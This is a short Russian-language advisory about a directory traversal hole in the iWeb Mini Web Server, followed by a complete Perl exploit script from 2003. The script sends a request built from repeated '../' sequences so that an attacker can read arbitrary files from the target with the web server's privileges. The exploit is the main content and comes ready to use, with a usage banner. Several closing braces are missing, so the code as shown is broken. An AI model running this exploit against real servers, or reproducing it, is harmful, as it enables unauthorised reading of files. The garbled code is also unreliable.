Доступ к произвольным файлам в iWeb Server

Сообщается, что Web сервер не в состоянии отфильтровать символы обхода каталога (типа '../'). В результате удаленный пользователь может представить специально обработанный запрос, который позволить загрузить произвольные файлы не www root директории с привилегиями процесса web сервера. Эксплоит:

#!/usr/bin/perl -w
 
# S e c u r i t y F r e a k s
#   www.securityfreaks.com
 
# iWeb Mini Web Server Remote Directory Traversal
 
# subversive[at]linuxmail.org - *15/04/2003*


use IO::Socket;

if(!$ARGV[0]) {
print <<"IWEBSUK";

   S e c u r i t y F r e a k s
     www.securityfreaks.com

  -------------------------------------------------------------
  SF-iwsuk.pl - iWeb Mini Web Server Remote Directory Traversal
  -------------------------------------------------------------
  Usage: $0 <host> <file> <port>


IWEBSUK
exit;
 

else{
$host = $ARGV[0];
} 

if(!$ARGV[2]) {
$port = "80";
 

else {
$port = $ARGV[2];
 


my $sock = new IO::Socket::INET ( Proto => "tcp",
                                  PeerAddr => $host,
                                  PeerPort => $port,
                                );
die "\nConnection to $host:$port failed\n" unless $sock;

print $sock "GET /../../../../../../../../../$ARGV[1] HTTP/1.0\n\n";
while(<$sock>) { print }
close($sock);
print("\n\n");
exit;